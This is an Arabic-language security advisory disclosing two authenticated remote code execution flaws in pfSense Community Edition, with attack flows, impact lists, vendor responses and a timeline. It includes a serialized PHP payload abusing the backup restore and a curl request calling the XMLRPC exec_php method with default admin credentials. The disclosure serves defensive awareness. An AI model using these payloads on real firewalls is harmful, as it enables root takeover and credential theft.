🔐 CVE-2025-69690 & CVE-2025-69691

تنفيذ أكواد عن بُعد (RCE) مع مصادقة في Netgate pfSense Community Edition

📋 الملخص

⚠️ إخلاء المسؤولية

أُجري هذا البحث في بيئات معملية معزولة لأغراض تعليمية ولزيادة الوعي الأمني فقط. تم الإفصاح عن جميع النتائج بمسؤولية إلى المورّد قبل النشر. لا يشكّل هذا التقرير دعوة لمهاجمة الأنظمة الإنتاجية. الاختبار غير المصرّح به غير قانوني.

🎯 CVE-2025-69690

إلغاء تسلسل غير آمن → RCE (pfSense CE 2.7.2)

الوصف

تستدعي آلية استعادة الإعدادات في pfSense الدالة unserialize() على بيانات يتحكم بها المستخدم بدون قائمة بيضاء للفئات، أو تحقق من المدخلات، أو عزل (sandboxing).

يحقن ملف نسخة احتياطية مُعدّ بعناية، يحتوي على كائن PHP مُسلسَل خبيث، أوامر اعتباطية عبر الخاصية post_reboot_commands، والتي يتم تنفيذها عبر mwexec() بصلاحيات root كاملة.

سير الهجوم

[Attacker] → Login as admin
           → Upload malicious .xml backup file
           → Trigger restore
           → pfSense calls unserialize() on attacker data
           → post_reboot_commands executed via mwexec()
           → [ROOT SHELL]

المكوّنات المتأثرة

• config.php — منطق معالجة الاستعادة
• فئة pfsense_module_installer — هدف إلغاء التسلسل غير الآمن
• mwexec() — مستقبِل تنفيذ الأوامر

حمولة PoC

O:23:"pfsense_module_installer":1:{
  s:17:"*post_reboot_commands";
  a:1:{
    i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
  }
}

التأثير

• ✅ تنفيذ أوامر نظام تشغيل اعتباطية بصلاحيات root
• ✅ تثبيت باب خلفي دائم
• ✅ استيلاء كامل على جدار الحماية
• ✅ استخراج بيانات الاعتماد والإعدادات

استجابة المورّد

"تم الإقرار. صُنّف على أنه إساءة استخدام إدارية موثّقة. لن يتم إصدار أي تصحيح." — Netgate

🎯 CVE-2025-69691

XMLRPC exec_php → RCE (pfSense CE 2.8.0)

الوصف

يكشف pfSense CE 2.8.0 عن طريقة XMLRPC باسم pfsense.exec_php تقوم بتنفيذ أكواد PHP اعتباطية بصلاحيات root دون تحقق، أو عزل (sandboxing)، أو أي شكل من أشكال التقييد.

نقطة النهاية:

• ✅ مفعّلة افتراضيًا
• ✅ قابلة للوصول عن بُعد عبر HTTPS
• ✅ محمية فقط عبر المصادقة الأساسية (Basic Authentication)
• ✅ قابلة للاستغلال بـبيانات اعتماد افتراضية (admin:pfsense)

سير الهجوم

[Attacker] → Send XMLRPC request to /xmlrpc.php
           → Authenticate with admin:pfsense (default)
           → Call pfsense.exec_php with arbitrary PHP
           → Code executes as root, no sandboxing
           → [ROOT SHELL]

المكوّنات المتأثرة

• xmlrpc.php — نقطة دخول الواجهة البرمجية (API)
• pfsense.exec_php — تنفيذ أكواد ديناميكية غير آمن
• طبقة BasicAuth — تحكم غير كافٍ في الوصول

إثبات المفهوم (PoC)

curl -k -u admin:pfsense \
  -H "Content-Type: text/xml" \
  -d '<methodCall>
        <methodName>pfsense.exec_php</methodName>
        <params>
          <param>
            <value><string>system("id");</string></value>
          </param>
        </params>
      </methodCall>' \
  https://<target>/xmlrpc.php

التأثير

• ✅ اختراق كامل بصلاحيات root عن بُعد
• ✅ قراءة/كتابة ملفات اعتباطية
• ✅ نشر باب خلفي
• ✅ التلاعب بقواعد جدار الحماية
• ✅ استخراج جميع بيانات الاعتماد والإعدادات

استجابة المورّد

"تم الإقرار. صُنّف على أنه سلوك متوقّع للمستخدمين الموثّقين. لا توجد خطة لإصدار تصحيح." — Netgate

📅 الخط الزمني

November 2025     →  Vulnerabilities discovered
December 2, 2025  →  Responsible disclosure to Netgate
                  →  Vendor acknowledged, no patch planned
January 28, 2026  →  CVE IDs assigned by MITRE
February 2026     →  Public disclosure

🔗 المراجع

• 🔴 CVE-2025-69690 على cve.org
• 🔴 CVE-2025-69691 على cve.org
• 📧 الإفصاح الكامل: [email protected]

👤 الباحث

Nelson Adhepeau — باحث أمني مستقل

📧 [email protected]